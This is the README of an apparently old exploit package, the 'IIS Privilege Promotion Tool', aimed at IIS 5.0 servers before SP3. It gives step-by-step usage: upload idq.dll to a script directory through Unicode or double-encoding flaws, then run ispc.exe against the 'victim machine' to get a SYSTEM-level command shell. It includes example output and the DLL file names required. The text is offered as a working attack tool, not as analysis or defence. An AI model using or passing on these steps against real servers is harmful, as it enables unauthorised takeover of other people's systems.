IIS Privilege Promotion Tool by isno@xfocus.org

http://xfocus.org

Enclosed in the package:

idq.dll:	ISAPI program used to promote user privilege
ispc.exe:	Network connecting client

Overview:

This software package exploits privilege checking security
holes existed in IIS5.0 + SP0(SP1, SP2) to obtain the
SYSTEM privilege.  Just uploading file idq.dll to any of the
executable directorys under IIS, one can obtain SYSTEM
privilege easily.

How to use it:

First, utilize UNICODE or double encoding exploits to upload
idq.dll to executable directories under IIS, say /scripts.
Then, use ispc.exe to connect to the victim machine as follows: 

C:\>ispc xxx.xxx.xxx.xxx/scripts/idq.dll

Start to connect to the server...
We Got It!
Please Press Some <Return> to Enter Shell...


Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1998 Microsoft Corp.

C:\WINNT\System32>


The invoked cmd.exe shell has the SYSTEM privilege.

Note:

1.  when upload idq.dll to an IIS directory, it must be
    named as one of the following:

    1	idq.dll
    2	httpext.dll
    3	httpodbc.dll
    4	ssinc.dll
    5   msw3prt.dll
    6   author.dll
    7   admin.dll
    8   shtml.dll
    9   sspifilt.dll
   10   compfilt.dll
   11	pwsdata.dll
   12	md5filt.dll
   13	fpexedll.dll

   Otherwise, one will not gain the SYSTEM privilege

2. One must enter three <Return>'s in order to get the
   shell prompt.

3. SP3 is not exploitable
    
